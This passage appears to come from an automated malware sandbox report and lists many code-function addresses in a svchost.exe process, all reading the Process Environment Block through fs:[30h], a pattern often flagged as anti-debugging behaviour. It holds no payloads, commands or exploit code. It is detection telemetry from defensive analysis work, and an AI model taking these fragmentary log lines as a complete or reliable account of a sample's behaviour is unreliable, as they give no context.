            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363A3C0 mov eax, dword ptr fs:[00000030h]2_2_0363A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363A3C0 mov eax, dword ptr fs:[00000030h]2_2_0363A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363A3C0 mov eax, dword ptr fs:[00000030h]2_2_0363A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036383C0 mov eax, dword ptr fs:[00000030h]2_2_036383C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036383C0 mov eax, dword ptr fs:[00000030h]2_2_036383C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036383C0 mov eax, dword ptr fs:[00000030h]2_2_036383C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036383C0 mov eax, dword ptr fs:[00000030h]2_2_036383C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B63C0 mov eax, dword ptr fs:[00000030h]2_2_036B63C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DE3DB mov eax, dword ptr fs:[00000030h]2_2_036DE3DB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DE3DB mov eax, dword ptr fs:[00000030h]2_2_036DE3DB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DE3DB mov ecx, dword ptr fs:[00000030h]2_2_036DE3DB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DE3DB mov eax, dword ptr fs:[00000030h]2_2_036DE3DB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036D43D4 mov eax, dword ptr fs:[00000030h]2_2_036D43D4
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036D43D4 mov eax, dword ptr fs:[00000030h]2_2_036D43D4
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362E388 mov eax, dword ptr fs:[00000030h]2_2_0362E388
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362E388 mov eax, dword ptr fs:[00000030h]2_2_0362E388
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362E388 mov eax, dword ptr fs:[00000030h]2_2_0362E388
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365438F mov eax, dword ptr fs:[00000030h]2_2_0365438F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365438F mov eax, dword ptr fs:[00000030h]2_2_0365438F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03628397 mov eax, dword ptr fs:[00000030h]2_2_03628397
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03628397 mov eax, dword ptr fs:[00000030h]2_2_03628397
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03628397 mov eax, dword ptr fs:[00000030h]2_2_03628397
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03634260 mov eax, dword ptr fs:[00000030h]2_2_03634260
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03634260 mov eax, dword ptr fs:[00000030h]2_2_03634260
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03634260 mov eax, dword ptr fs:[00000030h]2_2_03634260
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362826B mov eax, dword ptr fs:[00000030h]2_2_0362826B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E0274 mov eax, dword ptr fs:[00000030h]2_2_036E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E0274 mov eax, dword ptr fs:[00000030h]2_2_036E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E0274 mov eax, dword ptr fs:[00000030h]2_2_036E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E0274 mov eax, dword ptr fs:[00000030h]2_2_036E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E0274 mov eax, dword ptr fs:[00000030h]2_2_036E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E0274 mov eax, dword ptr fs:[00000030h]2_2_036E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E0274 mov eax, dword ptr fs:[00000030h]2_2_036E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E0274 mov eax, dword ptr fs:[00000030h]2_2_036E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E0274 mov eax, dword ptr fs:[00000030h]2_2_036E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E0274 mov eax, dword ptr fs:[00000030h]2_2_036E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E0274 mov eax, dword ptr fs:[00000030h]2_2_036E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E0274 mov eax, dword ptr fs:[00000030h]2_2_036E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B8243 mov eax, dword ptr fs:[00000030h]2_2_036B8243
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B8243 mov ecx, dword ptr fs:[00000030h]2_2_036B8243
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362A250 mov eax, dword ptr fs:[00000030h]2_2_0362A250
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03636259 mov eax, dword ptr fs:[00000030h]2_2_03636259
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036EA250 mov eax, dword ptr fs:[00000030h]2_2_036EA250
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036EA250 mov eax, dword ptr fs:[00000030h]2_2_036EA250
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362823B mov eax, dword ptr fs:[00000030h]2_2_0362823B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036402E1 mov eax, dword ptr fs:[00000030h]2_2_036402E1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036402E1 mov eax, dword ptr fs:[00000030h]2_2_036402E1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036402E1 mov eax, dword ptr fs:[00000030h]2_2_036402E1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363A2C3 mov eax, dword ptr fs:[00000030h]2_2_0363A2C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363A2C3 mov eax, dword ptr fs:[00000030h]2_2_0363A2C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363A2C3 mov eax, dword ptr fs:[00000030h]2_2_0363A2C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363A2C3 mov eax, dword ptr fs:[00000030h]2_2_0363A2C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363A2C3 mov eax, dword ptr fs:[00000030h]2_2_0363A2C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_037062D6 mov eax, dword ptr fs:[00000030h]2_2_037062D6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C62A0 mov eax, dword ptr fs:[00000030h]2_2_036C62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C62A0 mov ecx, dword ptr fs:[00000030h]2_2_036C62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C62A0 mov eax, dword ptr fs:[00000030h]2_2_036C62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C62A0 mov eax, dword ptr fs:[00000030h]2_2_036C62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C62A0 mov eax, dword ptr fs:[00000030h]2_2_036C62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C62A0 mov eax, dword ptr fs:[00000030h]2_2_036C62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366E284 mov eax, dword ptr fs:[00000030h]2_2_0366E284
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366E284 mov eax, dword ptr fs:[00000030h]2_2_0366E284
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B0283 mov eax, dword ptr fs:[00000030h]2_2_036B0283
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B0283 mov eax, dword ptr fs:[00000030h]2_2_036B0283
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B0283 mov eax, dword ptr fs:[00000030h]2_2_036B0283
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03704164 mov eax, dword ptr fs:[00000030h]2_2_03704164
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03704164 mov eax, dword ptr fs:[00000030h]2_2_03704164
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C4144 mov eax, dword ptr fs:[00000030h]2_2_036C4144
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C4144 mov eax, dword ptr fs:[00000030h]2_2_036C4144
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C4144 mov ecx, dword ptr fs:[00000030h]2_2_036C4144
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C4144 mov eax, dword ptr fs:[00000030h]2_2_036C4144
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C4144 mov eax, dword ptr fs:[00000030h]2_2_036C4144
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362C156 mov eax, dword ptr fs:[00000030h]2_2_0362C156
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C8158 mov eax, dword ptr fs:[00000030h]2_2_036C8158
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03636154 mov eax, dword ptr fs:[00000030h]2_2_03636154
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03636154 mov eax, dword ptr fs:[00000030h]2_2_03636154
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03660124 mov eax, dword ptr fs:[00000030h]2_2_03660124
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DE10E mov eax, dword ptr fs:[00000030h]2_2_036DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DE10E mov ecx, dword ptr fs:[00000030h]2_2_036DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DE10E mov eax, dword ptr fs:[00000030h]2_2_036DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DE10E mov eax, dword ptr fs:[00000030h]2_2_036DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DE10E mov ecx, dword ptr fs:[00000030h]2_2_036DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DE10E mov eax, dword ptr fs:[00000030h]2_2_036DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DE10E mov eax, dword ptr fs:[00000030h]2_2_036DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DE10E mov ecx, dword ptr fs:[00000030h]2_2_036DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DE10E mov eax, dword ptr fs:[00000030h]2_2_036DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DE10E mov ecx, dword ptr fs:[00000030h]2_2_036DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DA118 mov ecx, dword ptr fs:[00000030h]2_2_036DA118
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DA118 mov eax, dword ptr fs:[00000030h]2_2_036DA118
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DA118 mov eax, dword ptr fs:[00000030h]2_2_036DA118
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DA118 mov eax, dword ptr fs:[00000030h]2_2_036DA118
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F0115 mov eax, dword ptr fs:[00000030h]2_2_036F0115
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_037061E5 mov eax, dword ptr fs:[00000030h]2_2_037061E5
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036601F8 mov eax, dword ptr fs:[00000030h]2_2_036601F8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F61C3 mov eax, dword ptr fs:[00000030h]2_2_036F61C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F61C3 mov eax, dword ptr fs:[00000030h]2_2_036F61C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AE1D0 mov eax, dword ptr fs:[00000030h]2_2_036AE1D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AE1D0 mov eax, dword ptr fs:[00000030h]2_2_036AE1D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AE1D0 mov ecx, dword ptr fs:[00000030h]2_2_036AE1D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AE1D0 mov eax, dword ptr fs:[00000030h]2_2_036AE1D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AE1D0 mov eax, dword ptr fs:[00000030h]2_2_036AE1D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03670185 mov eax, dword ptr fs:[00000030h]2_2_03670185
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036EC188 mov eax, dword ptr fs:[00000030h]2_2_036EC188
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036EC188 mov eax, dword ptr fs:[00000030h]2_2_036EC188
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036D4180 mov eax, dword ptr fs:[00000030h]2_2_036D4180
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036D4180 mov eax, dword ptr fs:[00000030h]2_2_036D4180
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B019F mov eax, dword ptr fs:[00000030h]2_2_036B019F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B019F mov eax, dword ptr fs:[00000030h]2_2_036B019F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B019F mov eax, dword ptr fs:[00000030h]2_2_036B019F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B019F mov eax, dword ptr fs:[00000030h]2_2_036B019F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362A197 mov eax, dword ptr fs:[00000030h]2_2_0362A197
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362A197 mov eax, dword ptr fs:[00000030h]2_2_0362A197
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362A197 mov eax, dword ptr fs:[00000030h]2_2_0362A197
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365C073 mov eax, dword ptr fs:[00000030h]2_2_0365C073
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03632050 mov eax, dword ptr fs:[00000030h]2_2_03632050
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B6050 mov eax, dword ptr fs:[00000030h]2_2_036B6050
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362A020 mov eax, dword ptr fs:[00000030h]2_2_0362A020
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362C020 mov eax, dword ptr fs:[00000030h]2_2_0362C020
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C6030 mov eax, dword ptr fs:[00000030h]2_2_036C6030
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B4000 mov ecx, dword ptr fs:[00000030h]2_2_036B4000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036D2000 mov eax, dword ptr fs:[00000030h]2_2_036D2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036D2000 mov eax, dword ptr fs:[00000030h]2_2_036D2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036D2000 mov eax, dword ptr fs:[00000030h]2_2_036D2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036D2000 mov eax, dword ptr fs:[00000030h]2_2_036D2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036D2000 mov eax, dword ptr fs:[00000030h]2_2_036D2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036D2000 mov eax, dword ptr fs:[00000030h]2_2_036D2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036D2000 mov eax, dword ptr fs:[00000030h]2_2_036D2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036D2000 mov eax, dword ptr fs:[00000030h]2_2_036D2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364E016 mov eax, dword ptr fs:[00000030h]2_2_0364E016
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364E016 mov eax, dword ptr fs:[00000030h]2_2_0364E016
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364E016 mov eax, dword ptr fs:[00000030h]2_2_0364E016
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364E016 mov eax, dword ptr fs:[00000030h]2_2_0364E016
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362A0E3 mov ecx, dword ptr fs:[00000030h]2_2_0362A0E3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036380E9 mov eax, dword ptr fs:[00000030h]2_2_036380E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B60E0 mov eax, dword ptr fs:[00000030h]2_2_036B60E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362C0F0 mov eax, dword ptr fs:[00000030h]2_2_0362C0F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036720F0 mov ecx, dword ptr fs:[00000030h]2_2_036720F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B20DE mov eax, dword ptr fs:[00000030h]2_2_036B20DE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036280A0 mov eax, dword ptr fs:[00000030h]2_2_036280A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C80A8 mov eax, dword ptr fs:[00000030h]2_2_036C80A8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F60B8 mov eax, dword ptr fs:[00000030h]2_2_036F60B8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F60B8 mov ecx, dword ptr fs:[00000030h]2_2_036F60B8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363208A mov eax, dword ptr fs:[00000030h]2_2_0363208A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03638770 mov eax, dword ptr fs:[00000030h]2_2_03638770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640770 mov eax, dword ptr fs:[00000030h]2_2_03640770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640770 mov eax, dword ptr fs:[00000030h]2_2_03640770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640770 mov eax, dword ptr fs:[00000030h]2_2_03640770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640770 mov eax, dword ptr fs:[00000030h]2_2_03640770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640770 mov eax, dword ptr fs:[00000030h]2_2_03640770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640770 mov eax, dword ptr fs:[00000030h]2_2_03640770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640770 mov eax, dword ptr fs:[00000030h]2_2_03640770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640770 mov eax, dword ptr fs:[00000030h]2_2_03640770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640770 mov eax, dword ptr fs:[00000030h]2_2_03640770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640770 mov eax, dword ptr fs:[00000030h]2_2_03640770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640770 mov eax, dword ptr fs:[00000030h]2_2_03640770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640770 mov eax, dword ptr fs:[00000030h]2_2_03640770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366674D mov esi, dword ptr fs:[00000030h]2_2_0366674D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366674D mov eax, dword ptr fs:[00000030h]2_2_0366674D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366674D mov eax, dword ptr fs:[00000030h]2_2_0366674D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03630750 mov eax, dword ptr fs:[00000030h]2_2_03630750
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036BE75D mov eax, dword ptr fs:[00000030h]2_2_036BE75D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672750 mov eax, dword ptr fs:[00000030h]2_2_03672750
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672750 mov eax, dword ptr fs:[00000030h]2_2_03672750
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B4755 mov eax, dword ptr fs:[00000030h]2_2_036B4755
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366C720 mov eax, dword ptr fs:[00000030h]2_2_0366C720
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366C720 mov eax, dword ptr fs:[00000030h]2_2_0366C720
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366273C mov eax, dword ptr fs:[00000030h]2_2_0366273C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366273C mov ecx, dword ptr fs:[00000030h]2_2_0366273C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366273C mov eax, dword ptr fs:[00000030h]2_2_0366273C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AC730 mov eax, dword ptr fs:[00000030h]2_2_036AC730
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366C700 mov eax, dword ptr fs:[00000030h]2_2_0366C700
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03630710 mov eax, dword ptr fs:[00000030h]2_2_03630710
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03660710 mov eax, dword ptr fs:[00000030h]2_2_03660710
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036527ED mov eax, dword ptr fs:[00000030h]2_2_036527ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036527ED mov eax, dword ptr fs:[00000030h]2_2_036527ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036527ED mov eax, dword ptr fs:[00000030h]2_2_036527ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036BE7E1 mov eax, dword ptr fs:[00000030h]2_2_036BE7E1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036347FB mov eax, dword ptr fs:[00000030h]2_2_036347FB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036347FB mov eax, dword ptr fs:[00000030h]2_2_036347FB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363C7C0 mov eax, dword ptr fs:[00000030h]2_2_0363C7C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B07C3 mov eax, dword ptr fs:[00000030h]2_2_036B07C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036307AF mov eax, dword ptr fs:[00000030h]2_2_036307AF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E47A0 mov eax, dword ptr fs:[00000030h]2_2_036E47A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036D678E mov eax, dword ptr fs:[00000030h]2_2_036D678E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F866E mov eax, dword ptr fs:[00000030h]2_2_036F866E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F866E mov eax, dword ptr fs:[00000030h]2_2_036F866E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366A660 mov eax, dword ptr fs:[00000030h]2_2_0366A660
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366A660 mov eax, dword ptr fs:[00000030h]2_2_0366A660
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03662674 mov eax, dword ptr fs:[00000030h]2_2_03662674
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364C640 mov eax, dword ptr fs:[00000030h]2_2_0364C640
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364E627 mov eax, dword ptr fs:[00000030h]2_2_0364E627
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03666620 mov eax, dword ptr fs:[00000030h]2_2_03666620
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03668620 mov eax, dword ptr fs:[00000030h]2_2_03668620
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363262C mov eax, dword ptr fs:[00000030h]2_2_0363262C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AE609 mov eax, dword ptr fs:[00000030h]2_2_036AE609
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364260B mov eax, dword ptr fs:[00000030h]2_2_0364260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364260B mov eax, dword ptr fs:[00000030h]2_2_0364260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364260B mov eax, dword ptr fs:[00000030h]2_2_0364260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364260B mov eax, dword ptr fs:[00000030h]2_2_0364260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364260B mov eax, dword ptr fs:[00000030h]2_2_0364260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364260B mov eax, dword ptr fs:[00000030h]2_2_0364260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364260B mov eax, dword ptr fs:[00000030h]2_2_0364260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672619 mov eax, dword ptr fs:[00000030h]2_2_03672619
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AE6F2 mov eax, dword ptr fs:[00000030h]2_2_036AE6F2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AE6F2 mov eax, dword ptr fs:[00000030h]2_2_036AE6F2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AE6F2 mov eax, dword ptr fs:[00000030h]2_2_036AE6F2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AE6F2 mov eax, dword ptr fs:[00000030h]2_2_036AE6F2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B06F1 mov eax, dword ptr fs:[00000030h]2_2_036B06F1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B06F1 mov eax, dword ptr fs:[00000030h]2_2_036B06F1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366A6C7 mov ebx, dword ptr fs:[00000030h]2_2_0366A6C7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366A6C7 mov eax, dword ptr fs:[00000030h]2_2_0366A6C7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366C6A6 mov eax, dword ptr fs:[00000030h]2_2_0366C6A6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036666B0 mov eax, dword ptr fs:[00000030h]2_2_036666B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03634690 mov eax, dword ptr fs:[00000030h]2_2_03634690
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03634690 mov eax, dword ptr fs:[00000030h]2_2_03634690
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366656A mov eax, dword ptr fs:[00000030h]2_2_0366656A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366656A mov eax, dword ptr fs:[00000030h]2_2_0366656A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366656A mov eax, dword ptr fs:[00000030h]2_2_0366656A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03638550 mov eax, dword ptr fs:[00000030h]2_2_03638550
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03638550 mov eax, dword ptr fs:[00000030h]2_2_03638550
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640535 mov eax, dword ptr fs:[00000030h]2_2_03640535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640535 mov eax, dword ptr fs:[00000030h]2_2_03640535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640535 mov eax, dword ptr fs:[00000030h]2_2_03640535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640535 mov eax, dword ptr fs:[00000030h]2_2_03640535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640535 mov eax, dword ptr fs:[00000030h]2_2_03640535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640535 mov eax, dword ptr fs:[00000030h]2_2_03640535
